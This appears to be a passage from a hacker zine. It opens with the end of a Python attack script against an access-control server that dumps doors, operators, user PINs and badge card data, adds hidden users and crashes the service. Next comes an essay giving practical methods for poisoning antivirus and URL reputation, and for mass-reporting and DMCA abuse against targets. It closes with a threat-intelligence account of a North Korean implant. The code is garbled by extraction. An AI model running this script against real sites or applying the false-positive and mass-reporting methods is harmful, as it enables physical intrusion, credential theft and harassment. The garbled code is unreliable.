'Host': host,

"User‑Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) \ Gecko/20100101 Firefox/66.0",

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,\ image/avif,image/webp,image/apng,*/*;q=0.8,application/signed‑exchange;v=b3;q=0.7',

'Accept‑Encoding': 'gzip, deflate, br', "Connection": "keep‑alive"

}

response = requests.get(url, headers=headers) response.close()

soup = BeautifulSoup(response.text, 'html.parser')

# Check for session expiration or not logged in error response script_tag = soup.find('script', string='opener.location="UnLoggedPage.html"') if script_tag:

return "Error: Session appears to have expired, or user is not logged in."

# Check if the holContainer table exists

hol_container = soup.find("table", {"id": "HolContainer"}) if hol_container:

rows = hol_container.find_all('tr', class_='CellsInDiv') doors = []

for row in rows:

door_id = row['id']

cols = row.find_all('td')

location = cols[0].text.strip()

name = cols[1].text.strip() doors.append((door_id, location, name))

output = "\n\nDoors on System\n|ID|Location|Name|\n|‑‑‑|‑‑‑|‑‑‑|" for door in doors:

output += f"\n|{door[0]}|{door[1]}|{door[2]}|" return output

else:

return "Error: Could not find the expected doors table in the response."

def retrieve_site_name(host, port):

url = f'http://{host}:{port}/desktop'

headers = {

'Host': host,

"User‑Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) \ Gecko/20100101 Firefox/66.0",

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,\ image/avif,image/webp,image/apng,*/*;q=0.8,application/signed‑exchange;v=b3;q=0.7',

'Accept‑Encoding': 'gzip, deflate, br', "Connection": "keep‑alive"

}

response = requests.get(url, headers=headers) response.close()

soup = BeautifulSoup(response.text, 'html.parser')

title = soup.title.string # Extract the content inside the <title> tag return f"Site Name: {title}"

def retrieve_company_fields(host, port):

url = f'http://{host}:{port}/ID_USER_GET_DATA_1'

headers = {

'Host': host,

"User‑Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) \ Gecko/20100101 Firefox/66.0",

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,\ image/avif,image/webp,image/apng,*/*;q=0.8,application/signed‑exchange;v=b3;q=0.7',

'Accept‑Encoding': 'gzip, deflate, br', "Connection": "keep‑alive"

}

response = requests.post(url, headers=headers) response.close()

lines = response.text.strip().split('\n')

if lines[0] == 'true':

company_names = lines[1:]

output = "\n|Index|Company Name|"

for index, name in enumerate(company_names): output += f"\n|{index}|{name}|"

return output

else:

return f"\nNo company names found"

def get_operator_names(host, port):

url = f'http://{host}:{port}/desktop_login.html'

headers = {

'Host': host,

"User‑Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) \ Gecko/20100101 Firefox/66.0",

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,\ image/avif,image/webp,image/apng,*/*;q=0.8,application/signed‑exchange;v=b3;q=0.7',

'Accept‑Encoding': 'gzip, deflate, br', "Connection": "keep‑alive"

}

response = requests.get(url, headers=headers) response.close()

soup = BeautifulSoup(response.text, 'html.parser')

select_elem = soup.find('select', {'id': 'operatorname'})

if not select_elem:

return "Error: Could not find the expected select element in the response."

options = select_elem.find_all('option')

markdown_table = "| ID | Username |\n|‑‑‑‑|‑‑‑‑‑‑‑‑‑‑|\n"

for option in options:

markdown_table += f"| {option['value']} | {option.text} |\n"

return markdown_table

def get_users(host, port):

url = f'http://{host}:{port}/MOBILE_GET_USERS_LIST'

headers = {

'Host': host,

'Connection': 'close'

}

current_index1 = 1

current_index2 = 1

collected_users = {}

max_same_responses = 75

while True: # Loop for current_index1

last_response1 = None

same_response_count1 = 0

while True: # Nested loop for current_index2 data = f'{current_index2}\r\n{current_index1}\r\n' headers['Content‑Length'] = str(len(data))

print(f'Enumerating users; page {current_index2}/{current_index1}',end='\r')

with requests.Session() as session: response = session.get(url, headers=headers, data=data.encode())

# Check if this response (for index2) is the same as the last if response.text == last_response1: same_response_count1 += 1

else:

same_response_count1 = 0 # Reset the count last_response1 = response.text # Update the last response for index2

lines = [line.replace('\r', '').strip() for line in response.text.split('\n')[3:]] for i in range(0, len(lines) ‑ 2, 3): # ensure there's always a set of three user_name, user_color, user_index = lines[i], lines[i+1], lines[i+2] # Hiding instances where names are missing and user color is red if user_name and not (not user_name and user_color == "red"): if int(user_index) > 0 and user_index not in collected_users: collected_users[user_index] = (user_name, user_color, user_index)

current_index2 += 1

if same_response_count1 >= max_same_responses: break # Break the inner loop when reached max same responses for index2

# Reset current_index2 and counters after exiting inner loop current_index2 = 1

current_index1 += 1

if current_index1 > max_same_responses: # Ensure we don't go infinite break

def fetch_data(endpoint, user_index):

url = f'http://{host}:{port}{endpoint}'

data = f'1\r\n{user_index}\r\nget_code\r\n' headers.update({'Content‑Length': str(len(data))})

with requests.Session() as session:

response = session.post(url, headers=headers, data=data.encode()) return response.text

def extract_data(response, regex):

match = re.search(regex, response)

return match.group(1) if match else ""

def fetch_key_data(endpoint, user_index):

url = f'http://{host}:{port}{endpoint}'

data = f'1\r\n{user_index}\r\nget_code\r\n' headers.update({'Content‑Length': str(len(data))})

with requests.Session() as session:

response = session.post(url, headers=headers, data=data.encode())

# Extract the key value

soup = BeautifulSoup(response.text, 'html.parser') key_element = soup.find('input', {'id': 'key_card_id'}) return key_element['value'] if key_element and key_element.get('value') else '0'

def fetch_abacard_data(endpoint, user_index):

url = f'http://{host}:{port}{endpoint}'

data = f'1\r\n{user_index}\r\nget_code\r\n' headers.update({'Content‑Length': str(len(data))})

with requests.Session() as session:

response = session.post(url, headers=headers, data=data.encode())

# Extract the abacard value

soup = BeautifulSoup(response.text, 'html.parser') abacard_element = soup.find('input', {'id': 'abacard_card_id'}) return abacard_element['value'] if abacard_element and abacard_element.get('value') else '0'

for user_index in collected_users:

# Get PIN

pin_response = fetch_data("/DESKTOP_EDIT_USER_GET_PIN_FIELDS", user_index) pin_value = extract_data(pin_response, r'value="(\d+)" name="loc_form_user_pin"')

# Get Card Fields

card_response = fetch_data("/DESKTOP_EDIT_USER_GET_CARD_FIELDS", user_index) site_code_value = extract_data(card_response, r'value="(\d+)" SELECTED') card_data_value = extract_data(card_response, r'value="(\d+)" name="loc_form_user_card"')

key_value = fetch_key_data("/DESKTOP_EDIT_USER_GET_KEYS_FIELDS", user_index)

abacard_value = fetch_abacard_data("/DESKTOP_EDIT_USER_GET_ABACARD_FIELDS", user_index)

collected_users[user_index] += (pin_value, site_code_value, card_data_value,

key_value, abacard_value)

blue_users = []

red_users = []

black_users = []

# Categorize users based on Color

for user_index in collected_users:

user_data = collected_users[user_index]

if user_data[1].lower() == 'blue': blue_users.append(user_data)

elif user_data[1].lower() == 'red': red_users.append(user_data) black_users.append(user_data)

elif user_data[1].lower() == 'black':

def generate_table(users, title):

table = f"{title}\n| User Index | Name | Color | PIN | table += f"Site Code/Facility Code | Card Data | Silcakey | AbaCard |\n"

table += f"|‑‑‑‑‑‑‑‑‑‑‑‑|‑‑‑‑‑‑|‑‑‑‑‑‑‑|‑‑‑‑‑|‑‑‑‑n"

for entry in sorted(users, key=lambda x: int(x[2])): table += f"| {entry[2]} | {entry[0]} | {entry[1]} | {entry[3]} " table += f"| {entry[4]} | {entry[5]} | {entry[6]} | {entry[7]} |\n" return table + "\n"

# Generate tables for each color category

blue_table = generate_table(blue_users, "\n## Users with Access") red_table = generate_table(red_users, "\n## Users with revoked access") black_table = generate_table(black_users, "\n## Non‑Access Users")

return blue_table + red_table + black_table

def add_user(host, port, card_number, site_id, username, invisible): url = f'http://{host}:{port}/USER_CHANGE'

headers = {

'Host': host,

"User‑Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) \ Gecko/20100101 Firefox/66.0",

'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,\ image/avif,image/webp,image/apng,*/*;q=0.8,application/signed‑exchange;v=b3;q=0.7',

'Accept‑Encoding': 'gzip, deflate, br', "Connection": "keep‑alive"

}

data = {

'user_operator_id': '0' if invisible else '1', 'user_id': '0',

'user_name': username,

'1': 'on',

'loc_form_user_card_imptrinted': card_number, 'loc_form_user_als_sitecode': site_id, 'loc_form_user_als_sitecode_new': site_id, 'loc_form_user_card': card_number, 'loc_form_user_data1': '',

'loc_form_user_data2': '',

'command': ''

}

response = requests.post(url, headers=headers, data=data) return("Completed adding user")

# Update the main function to test the new function:

def main():

parser = argparse.ArgumentParser(description="Interact with Evolution Server.") parser.add_argument("‑‑host", help="Target host (IP address)") parser.add_argument("‑‑port", type=int, help="Target port") parser.add_argument("‑‑crash", action="store_true", help="Crash the application") parser.add_argument("‑‑add‑user", action="store_true", help="Flag to add a new user") parser.add_argument("‑‑username", type=str, help="Username for adding user") parser.add_argument("‑‑site‑id", type=str, help="Site ID for adding user") parser.add_argument("‑‑card‑number", type=str, help="Card number for adding user") parser.add_argument("‑‑invisible", action="store_true", help="Make the user invisible")

args = parser.parse_args()

host = (args.host)

port = (args.port)

if args.add_user:

if not all([args.card_number, args.site_id, args.username]): print("Error: When adding a user, ‑‑card‑number, ‑‑site‑id, and ‑‑username are required.") exit(1)

print(add_user(host, port, args.card_number, args.site_id, args.username, args.invisible)) if args.crash:

print(application_crash(host, port))

if not(args.crash):

print(retrieve_site_name(host, port)) print(get_operator_names(host, port)) print(retrieve_company_fields(host, port)) print(return_last_scanned_card(host, port)) print(get_users(host, port)) #print(request_all_users(host, port)) #print(request_all_doors(host, port))

if __name__ == '__main__':

main()

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 3 ‑ The Weaponization of Automation ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by Xenon Hexafluoride

These days when folks hear automation they think AI. All the discussion these days is around â€œHow I tricked an AI bot into selling me a car for a dollarâ€, and â€œI got DALL‑E to spit out goatee when they tried to train it on my artworkâ€. These are fun and righteous hacks. But the reality is that a lot of the dangerous and unethical shit predates AI. Automation has existed long before AI. It was ML, expert systems, runbooks, mechanical turks, etc. long before all the buzzwords kicked in. And, when a system exists long enough, folks other than curious hackers will start attacking it to hurt others, make money, or both.

Iâ€™m not going to dig into the minutiae of AI poisoning, because as you dear readers well know, the old attacks still work. Weâ€™re going to get into how groups today are still leveraging attacks on pre‑existing automation and how reliance on AI will just make the problem worse.

Swatting

It seems appropriate to start with the confluence of old school phreaking, law enforcement basically being mechanical turks, and bigoted assholes on the internet.

Swatting has been around a long time, starting with random folks that teabagged the wrong person in Halo or Brian Krebs. And once weâ€™re done laughing about Krebs, no friend to hackers, having his house surrounded by gunmen, remember that at least one of them was hell bent on killing any dog they saw. But how could such a bastion of the law and computer ethics be subject to such indignity?

He tried to avoid this. The local PD listened to his concerns, wrote down that if they get a panicked call from his house that sets off the SWAT response runbook, they should call back first to double check.

Best they could do was call twice while he was running a vacuum and not use common sense before the runbook kicked off. So he had multiple guns pointed at him. There wasnâ€™t a page in the runbook for actually responding to a likely hoax, so they had to respond not knowing that. The icing on the cake is that the runbook breaks down again on actually detaining someone, so you get officers giving conflicting orders. Heâ€™s lucky to be alive, and no one from the police would have gotten in trouble if he wasnâ€™t.

More recent incidents involving politicians and judges all are ending in local LE actually updating their runbooks for folks under federal protection. Not so much for the rest of us. There are starting to be more fatalities without law enforcement themselves taking responsibility (as always deflecting to anyone but themselves for blame). And as law enforcement embraces AI as a way to launder their own biases, bigotry and hatred of due process, weâ€™re heading for a future where instead of TSA giving you a hard time because a computer said so, a bunch of armed men looking for a fight will show up to your house because a computer told them to.

AV and other Signature/AI Based Detection

Systems that automatically detect â€œmaliciousâ€ behavior and block it are inherently weaponizable. They typically run with a high degree of privilege or on the critical path and are often deployed to block first and figure out what happened later. Even in the cases where they run out of band, they can randomize the security team and provide a smokescreen for real attacks by either forcing an expensive response process or exhausting resources.

Most of these attacks will start from convincing the security software to have a false positive detection on something. In some cases this is as simple as submitting a sample with the desired characteristics or behaviors via an anonymous channel, but if you convince someone in security or IT to send it into their vendor support rep you can bypass a lot of internal safeguards against these attacks. Another way to get around safeguards at a target vendor is to leverage the fact many of these companies are graded against each other and therefore are forced by sales and marketing to give far more credence to competitor detections. Virus Total and many IP/URL rep services are great places to start. For network traffic, the ET Open signature set, especially with a lot of â€œmaliciousâ€ pcaps posted will likely end up absorbed into other vendor detection sets before the FPs are known. And some of the anti‑spam providers operate on a hair trigger without too much work.

A few more concrete examples: For URL reputation, it is often just anonymous reporting or IT reporting of the URLs, as mentioned above, to low hanging fruit public databases that do minimal verification. After a few of those submissions, attackers can start working up the provider reputation ladder with reports. For low prevalence files like an unsigned line of business application or a small competitor, the more common attack is submitting variants of known malicious droppers updated to also drop a copy of the target program to VirusTotal. At this point the attacker is just waiting for enough vendors to detect the sample so that â€œme tooâ€ signing is triggered by aforementioned sales and marketing requirements. In other cases attacks might require blending features of known malware or malicious traffic with the features of what you want to induce an FP on (e.g. C2 traffic with similar characteristics to Epic Medical Software, emails with clear phishing links that are otherwise identical to a security alert an attacker wants to hide, or resigning a file with a suspicious code sign cert.)

While many of these techniques are frequently used to blend into the background, using the vendor fear of FP to avoid detection, causing the FP can also be the objective. Which FP or FPs are induced in the target software/ecosystem and how the samples are initially fed into the automation pipeline will depend on ultimate goal and underlying systems actually being attacked. The attacks can be pure denial of service (e.g. taking down a bankâ€™s in house ACH software), repetitional attacks on a security vendor to reduce trust (either for a future attack on someone using their software or a competitor), repetitional attacks against competitors using security vendors as weapons directly, or even as a resource exhaustion attack on the security team at a target.

Although some of these, like intentional denial of service on critical systems remain theoretical, Iâ€™ve seen, often firsthand, the use of the simple report and wait URL and file reputation attacks between competing companies. And then there was the one time a grumpy Russian oligarch decided his AV competitors were â€œstealingâ€ from him. Even though he helped create the entire ecosystem of sales and marketing driven AV testing that made â€œme tooâ€ detections table stakes.

The Kaspersky attacks used knowledge of how AV engines internally break files into features to inject features common across a variety of malicious samples, leaving the automation only the clean snippets to differentiate from other generic detections. If this sounds a lot like an AI poisoning attack before itâ€™s time, thatâ€™s because at its core thatâ€™s what it is. Around the same time hackers were just throwing the first 256 bytes into the .rsrc sections of PE files for the lulz; a much less sophisticated attack. In the end Kaspersky did themselves more harm than good by getting caught. [3] And yet all the involved companies agreed to just blame hackers. [4]

Automated Copyright Enforcement Moving on to content creation, we hit the nexus of corporate profits for the company responsible for in theory being a â€œgood faithâ€ broker and corporations that want to loot as much money as they can. Compared to other attacks in this article, this one is straightforward because it relies on companies maximizing profit and the gift that keeps on giving headaches to hackers, creators, and basically anyone that isnâ€™t a corporate lawyer, the DMCA.

Youtubeâ€™s ContentID and other platforms with automated enforcement built in have long had issues with fair use [5] but generally fair use is infrequent enough that when itâ€™s flagged by a platform or a notorious copyright troll with automation like Sony BMG, the dispute process can keep up. It still sucks, but most of the content hosts are reasonable about fair use because it started impacting their own bottom line (loss of content elsewhere and legal fees if the fair use was also a deep pocketed corporation). It still sucks, but it wonâ€™t get better until the laws or financial incentives change.

The more recent DMCA abuse involves leveraging these same automated systems to steal credit from artists and other creators. The attack is making just enough original music to be considered slightly legit by a troll company like Sony BMG or â€œThe Orchardâ€, then claiming music that is not claimed yet. In some cases, this is just to use ContentID etc. to get ad revenue from an artist that isnâ€™t trying to monetize their work. Generally, the artist's apathy means they donâ€™t notice someone has claimed their workâ€¦ That is until they tell other creators that like itâ€™s totally cool to use their music for free and it ends up in monetized videos from creators that do care about their revenue. The attacker and their corporate facilitators then mass report the videos with the newly claimed music and cash in while the dispute process takes place.

The reasons these work so well are two‑fold. There is no good way to register public domain music/content, and definitely no incentive for either the trolls or platforms to do it. The second is the DMCA flagging/reporting process is easy and allows for mass reporting, but as mentioned above, really difficult to resolve and usually cannot automatically resolve unless the original rights holder (not the impacted creators) sues the troll directly. So 30 minutes per video sucks for fair use, but 30 minutes for a catalog of hundreds of videos is a nightmare and difficult to dig out from. And since the original rights holder still canâ€™t really claim the work, a different attacker and helpful troll company are free to do it again in the future.

There is also a new variation on this attack just starting up where AI is used to rip off someone elseâ€™s content, then the folks doing bulk AI rip‑offs use DMCA and the backing automation to claim copyright infringement against the original.

From content moderation of generalized online assholes on both sides of the political spectrum (or neither) to more organized and targeted groups like Kiwifarms, automated content moderation has been abused to de‑platform or demonetize targets for nearly as long as it has existed. And yet from the days before 4chan to today, even as the underlying automation has changed, the same attacks still work. Keyword lists never went away as the first tier, they just have weights now. The second tier hit by mass reporting is more likely an LLM instead of someone underpaid in a windowless room with a binder and poor English skills (i.e. mechanical turks). And at the top tier is a human that can at least think as much as the lawyers allow, if you somehow actually manage to escalate to them.

The same attacks still work because of both inherent issues with the system design of how automation is used, and a high disparity between attacker and victim. The usual attack will either mine historical posts of a target user or start a harassment campaign against them. Once they find or elicit a response that they know will get sufficiently flagged by one of the first two tiers of automation, they and their friends all mass report the target. Some of the responses that will generally meet this criteria are typically responding to dog whistles with actual slurs, non‑serious threats of violence or self harm, or far too often, just reposting harassing messages that should trigger the automation, but ether come from a wave of disposable accounts or only do so when mass reported.

The companies either canâ€™t or wonâ€™t pay for improved human mitigation for these attacks, either for financial reasons, or a fundamental naive belief that bad faith behavior is either not their problem or something automation can handle. Add in the additional disparity/asymmetry problems of an individual against a group, standards around acceptable speech generally disfavoring minority groups, and the consequences for some being a loss of support or income for the target. Attackers can make dummy accounts for actionable harassment while sticking to dog whistles on their primary accounts, while targets frequently rely on just one account.

More unsettling is some of the context coming out of an attack that normally would only be in the realm of the US Military: deploying $44 billion to destroy something. Elonâ€™s takeover of Twitter has shown what bad faith content moderation looks like when the government isnâ€™t already running a censorship regime (e.g. TikTok). It raises questions about some of the decisions at other big corporations, especially Facebook. In the days of 4chan, it was just folks on the internet who, in hacker fashion, figured out the systems better than the folks that wrote or maintained them. But since then, Google had a bunch of pro‑James Damore employees dox his internal critics publicly. To what extent they and folks like them are sharing details of moderation systems or actively sabotaging them to facilitate harassment we canâ€™t be sure.

The actual danger of AI isnâ€™t necessarily the technology itself, but how it is used. It doesnâ€™t mitigate the old attacks using automation, it amplifies them. In some cases, itâ€™s adding a level of certainty to automation systems by virtue of being harder to understand, not actually earning that trust in many of the fields itâ€™s being deployed. That same complexity also makes both external poisoning attacks, but also intentional incorporation of bias harder to detect and mitigate. Finally, by being so obtuse yet so unreasonably trusted, it further removes responsibility from people knowingly operating insecure systems so they can blame everyone but themselves: the AI, the targets, and whenever they can find an excuse, hackers.

[1] â€” https://arstechnica.com/information‑technology/2013/03/security‑

reporter‑tells‑ars‑about‑hacked‑911‑call‑that‑sent‑swat‑team‑to‑his‑house/ [2] â€” https://www.justice.gov/usao‑ks/pr/ohio‑gamer‑pleads‑guilty‑swatting‑

caused‑death

[3] â€” https://www.reuters.com/article/2015/08/14/us‑kaspersky‑rivals‑

idUSKCN0QJ1CR20150814/

[4] â€” Propellerheads ‑ History Repeating.

[5] â€” https://www.eff.org/deeplinks/2016/05/dear‑sony‑not‑fee‑use‑fair‑use

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑=[ 4 ‑ Riding with the Chollimas: Our 100 day quest to ]=‑‑‑‑‑‑‑‑‑=| |=‑=[ profile a North Korean State‑Sponsored Threat Actor ]=‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by MauroEldritch <Quetzal Team>

[Table of contents]

0) About: Eldritchs, Quetzals, Chollimas

1) Introduction: A warm February morning in Uruguay

2) The infection

3) A Digital Molotov: Analyzing a homemade malware

4) IOCs, CTI, Snitches & Stitches

5) Winged horses, corpo espionage and ballistic missiles

6) OPSEC Fail

7) Outro: February again

8) Acknowledgments

9) References

‑‑

0) [About: Eldritchs, Quetzals, Chollimas]

About the Author

Mauro Eldritch is an Argentine‑Uruguayan hacker, founder of BCA LTD and DC5411 (Argentina / Uruguay). He spoke at different events including DEF CON a couple of times in the past. Loves Threat Intelligence and Biohacking, and is part of the Quetzal Team.

About the Quetzal Team

Quetzal is Bitso's Web3 Threat Research Team. Our focus and commitment are to deliver high‑quality threat intelligence reports on advanced persistent threats (APTs) and state‑sponsored threats targeting the crypto space.

In the past, we have successfully confronted organized cybercrime operations carried out by Fancy Lazarus (RansomDDoS), Lazarus (Labyrinth & Velvet Chollimas), and EVILNUM (Mercenary Group). Also, Quetzals are majestic green birds present in Central and North America.

About the Chollimas

A Chollima (or Qianlima or Senrima) is a mythical winged horse present in Eastern Asian mythology, which inspired important political movements like the North Korean Chollima Movement.

It is also the alias used by CrowdStrike for North Korean Threat Actors. These are state‑sponsored actors who are backed financially and legally by their government, allowing them legal impunity and significant budgets. This ultimately result in reckless attacks against other governments (Op DarkSeoul), corporations (Sony, Bangladesh Bank), crypto protocols and bridges (Ronin & Horizon bridges), or just globally (like the WannaCry outbreak).

Sometimes, these reckless attacks experience "drawbacks" and end up like a fun story rather than a tragedy. Luckily this is one of those stories.

‑‑

[Introduction: A warm February morning in Uruguay]

Note: All times expressed in GMT (for reference, Uruguay is GMT‑3, Mexico GMT‑6). The year is 2023.

February, 7th.

> 12:00.

It was a warm February morning in Uruguay. It was early for me, and even earlier for the rest of my team who were living three hours behind in Mexico. The first thing in the morning, an EDR alert hit me, and I stumbled upon an unusual malware sample that seemed quite homemade.

Surprisingly simple, it evaded all existing antivirus software and was only detected and blocked by heuristics. Thus, I deemed it worthy of further investigation. After conducting the usual CTI and OSINT routine, things took a much darker turn... Almost 100 days later, we decided to team up with Juan Brodersen, a journalist and my friend.

And so, our journey to profile the malware developers (and their campaign) began. But let's tell this tale from the start, and go back to that warm February morning in Uruguay when I met the Chollimas for the first ‑ and certainly not the last ‑ time.

‑‑

2) [The infection]

February, 7th. That warm morning.

> 12:25.

An unknown malware was detected on an engineer's laptop, bundled inside a fake Java QR Generator.

> 12:25 ‑ 13:01

The artifact was sandboxed. The affected host was network contained and multiple alerts from Crowdstrike Falcon were issued.

> 13:01

The artifact was seized after preventing it from self‑deleting. We started monitoring its behavior and extracting IOCs. It looked plain simple, like those things that cannot fail just due to its simplicity, but I'm not one to judge a book solely by its cover. And hell, I was right.

‑‑

3) [Digital Molotov: Analyzing a homemade malware]

February, 7th. That warm morning.

> 15:00

"This is a basic ‑ seemingly homemade ‑ RAT that attempts to open a reverse shell. As of the time of writing, there is no public mention of this malware or its components. I named it QRLOG."

‑ My first report on the sample from now on, QRLog.

QRLog was surprisingly simple, working as an implant inside a functioning QR Generator project and hiding its malicious payload in plain sight within a base64 encoded variable named QUIET_ZONE_DATA. This variable was written to a temporary .java file. Upon execution, it would open a reverse shell for the adversary to *manually* abuse the system.

And that's it. No fancy UAC bypass, kernel extensions, or 0‑days that didn't make its way to the proper exploit broker were used. Just plain Java code encoded in base64 against all odds. That simplicity eluded *all* antivirus detections on VirusTotal, but luckily its behavior was noisy enough for Falcon's heuristics to raise a brow and a set of alerts against it.

While reviewing the code, I noticed numerous indications of its homemade origin. These included various instances of bad practices and carelessness: unnecessary imports, poorly written functions attempting to identify the OS, a custom function for generating random strings despite importing libraries for that purpose, hardcoded paths, and even a hardcoded Command and Control (C2) server address.

I couldn't believe that such a simple piece of code could bypass antivirus with just mud and sticks. So, I asked Maximiliano Firtman, a Java expert, programmer, and professor, what he thought of the code. He shared:

"It is the code of someone who does not have much experience and was copying and pasting things from the Internet. It appears as though someone created a script for hacking their girlfriend."

This led us to compare QRLog to a "digital molotov": simple, but destructive.

February, 9th. 2 warm mornings later.

> 12:07

QRLog was my very first malware analysis, so I thought it was a good warm‑up for what could ‑ eventually ‑ come next in my career: an easy start. I wrapped up everything I found and published the IOCs as an intelligence pulse in AlienVault OTX, along with a write‑up about the analysis on my Github profile.

Just like the code itself, the indicators didn't quite catch the eye: SSL certificates issued by Let's Encrypt, some cheap VPS instances, and the aforementioned C2 server, which seemed to be recycled.

The C2 was associated with almost 500 other domains and had a rather tarnished reputation on different intel platforms, as it took

part in many malicious campaigns in the past. These include Log4J, JokerSpy, hosting Cobalt Strike, among others.

There wasn't much more to tell. The CTI session came to an end, and I wanted to focus on other matters... But it didn't last long.

‑‑

4) [IOCs, CTI, Snitches & Stitches]

April, 26th. 79 mornings later. Some warm, some not so much.

> 08:44

I received a DM on Twitter regarding my publication on Github: A friendly researcher wanted to contact me on a secure platform to share something important about one of my IOCs. We went over Tox, where he told me:

"Just out of curiosity, were you aware that what you were looking at was malware from a North Korean threat actor?"

I was frozen in place. After discussing the matter for a bit, and with his permission, we moved on to share this intel with Crowdstrike to confirm attribution. We also shared information with my journalist friend Juan to collaborate on this story. Revisiting my notes once again, I noticed their C2 was still up and running... so I thought, "why not?"

> 09:30

After reviewing QRLog's interaction with its C2 server, we found a way to submit a crafted message which will surely be read by the TAs. With journalistic purposes, we started flooding their server with an invite to talk on Telegram, sharing my alias in hopes to get "the interview". But I think people send friendship requests in a different way in North Korea...

> 10:28

We observed hundreds ‑ which then became more than a thousand ‑ attempts to brute‑force an SSH instance running on the machine from where the original contact request was sent. Unbeknownst to the TAs, that VPS served involuntarily as a honeypot, and provided us with even more valuable intel on their infra. These attacks went on for days, but since we were collecting their data, the longer we endured, the better. After all... snitches get stitches.

April, 28th. 81 mornings later. On a particularly rainy one.

> 13:36

Crowdstrike wrote back, confirming attribution with High confidence to Labyrinth Chollima, a division from the infamous Lazarus group, and part of the DPRK RGB (Reconnaissance General Bureau).

May, 2nd. 85 mornings later. On a particularly chilly one.

> 16:10

The C2 server went down for good. The attacks stopped. More than 1500 brute force attempts were received from all around the world. Many IPs belonged to lesser known VPS providers, while others belonged to big players like AWS.

Onboarding Juan was a good decision, as he managed to get a word with AWS CISO, Mark Ryland. He expressed his concern that while "hackers are willing to pay for [our service]", "there are more sophisticated actors that abuse AWS".

From my side, I began classifying and packaging all the new intel to publish it as a pulse once again on AlienVault OTX. It was at that point where we wanted to know everything about them. But as they say, curiosity killed the cat.

‑‑

5) [Winged horses, corpo espionage and ballistic missiles]

May, 10. 93 mornings later. On a depressingly frosty day.

> Around 13:00

Juan began communicating with PR departments at different security firms about what they knew. None of them had seen the sample before, and we were the very first to publish anything about it, and its surrounding espionage campaign.

Slowly, we pieced together the puzzle of the North Korean threat landscape, connecting names and heists, learning about the separation between "common" divisions within Lazarus, like Labyrinth Chollima, Stardust Chollima, and Silent Chollima, which carried out espionage and crypto theft operations targeting giants like Sony or AstraZeneca.

We also learned about "more sophisticated" or even (as some vendors call them) "elite" divisions like Velvet and Ricochet Chollima, responsible for targeting the Korean Hydro Nuclear Power Plant in 2014 and the Daily NK, one of Korea's largest media outlets, in 2023.

All of these divisions seemingly had a common objective: to conduct economic espionage and theft for their state. Ultimately, these funds were put to an even darker fate: to fund North Korea's ballistic program.

"[...] stolen assets are likely funding an array of state projects including North Korea's nuclear and WMD programs."

‑ Crowdstrike Intelligence report on Labyrinth Chollima. 2023.

"Cyberwarfare is an all‑purpose sword that guarantees the North Korean People's Armed Forces ruthless striking capabilities, along with nuclear weapons and missiles"

‑ Kim Jong‑un. 2013. This speech was quoted by HC3 & CISA.

"Treasury is taking action against North Korean hacking groups that have been perpetrating cyber attacks to support illicit weapon and missile programs"

‑ Sigal Mandelker, Treasury Under Secretary for Terrorism and Financial Intelligence. 2019.

With their campaign discovered, their C2 flooded, and their sample captured, it seems they decided to call it a day and let us be. But remember, the devil is in the details, and they let slip an important one.

‑‑

6) [OPSEC Fail]

May 16. 99 mornings later. Missing those warm days.

> 15:00

I was reviewing my notes again while working on slides about this story, and came across a funny OPSEC fail. During the analysis, I found a file shipped alongside the sample called inputFiles.lst, which contained Maven build information. Reading it, we found some interesting debug messages:

"[...]/default‑compile/inputFiles.lst:275 C:\Users\Edward\Downloads\qr‑code[...]"

So, our friend was named (or at least went by) Edward and was a happy Microsoft Windows user... what a western spy move, if you ask me. Anyway, this story was over, and the best CTI session of my life came to an end. Or did it?

‑‑

7) [Outro: February again]

February, 8th. 366 mornings later. Thinking about the upcoming weekend. > 22:00

An unknown malware was detected on an engineer's laptop, bundled inside a fake Slack to CSV exporter.

‑‑

8) [Acknowledgments]

Bitso Information Security & Quetzal Teams.

Rob Harrop.

Juan Brodersen.

‑‑

9) [References]

This story was published in various formats: intelligence pulses, talks, articles, and newspapers. You can find links to all of them below.

‑ DEF CON 31 Video

https://www.youtube.com/watch?v=DB6yDJeb6U8

‑ DEF CON 31 Slides https://docs.google.com/presentation/d/1mQuauuJCdDI9d_HfIvLdtk_vM4FU4v0AUmlTShV9_hI

‑ QRLog Technical Analysis https://github.com/birminghamcyberarms/QRLog

‑ QRLog Intelligence Pulse https://otx.alienvault.com/pulse/64cfcc366fc8f13ce315f39a

‑ Labyrinth Chollima Infrastructure Pulse https://otx.alienvault.com/pulse/64cfcc366fc8f13ce315f39a

‑ Diario ClarÃn (Spanish) https://www.clarin.com/tecnologia/hecho‑corea‑norte‑descubren‑nuevo‑virus‑funciona‑molotov‑digital_0_fR36LRX5mj.html

‑ The Hacker News https://thehackernews.com/2023/08/north‑korean‑hackers‑deploy‑new.html

‑ SentinelOne https://www.sentinelone.com/blog/jokerspy‑unknown‑adversary‑targeting‑organizations‑with‑multi‑stage‑macos‑malware/

‑ SC Magazine https://www.scmagazine.com/news/vmconnect‑campaign‑linked‑to‑north‑korean‑lazarus‑group

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

